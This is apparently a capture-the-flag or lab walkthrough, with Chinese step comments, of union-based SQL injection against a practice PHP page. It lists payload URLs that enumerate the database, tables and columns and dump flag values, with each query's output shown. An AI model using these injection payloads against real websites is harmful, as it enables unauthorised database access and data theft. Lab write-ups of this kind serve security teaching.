1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| -- 1. 查询数据库名
http://vulhub.example.com:81/Pass-01/index.php?id=1 and 1=2 union select 1,2, database()
-- error
-- 2. 查询所以表名
http://vulhub.example.com:81/Pass-01/index.php?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
-- error_flag, user
-- 3. 查询当前库所有列名
http://vulhub.example.com:81/Pass-01/index.php?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='error_flag'
-- id, flag
-- 4.0 查询 flag 数量
http://vulhub.example.com:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,count(*) from error_flag
-- 4
-- 4.1 查询 flag
http://vulhub.example.com:81/Pass-01/index.php?id=1 and 1=2 union select 1,id,flag from error_flag
-- zKaQ-Nf
-- 4.2 查询所有flag
http://vulhub.example.com:81/Pass-01/index.php?id=1 and 1=2 union select 1,2,group_concat(flag) from error_flag
-- zKaQ-Nf,zKaQ-BJY,zKaQ-XiaoFang,zKaq-98K
|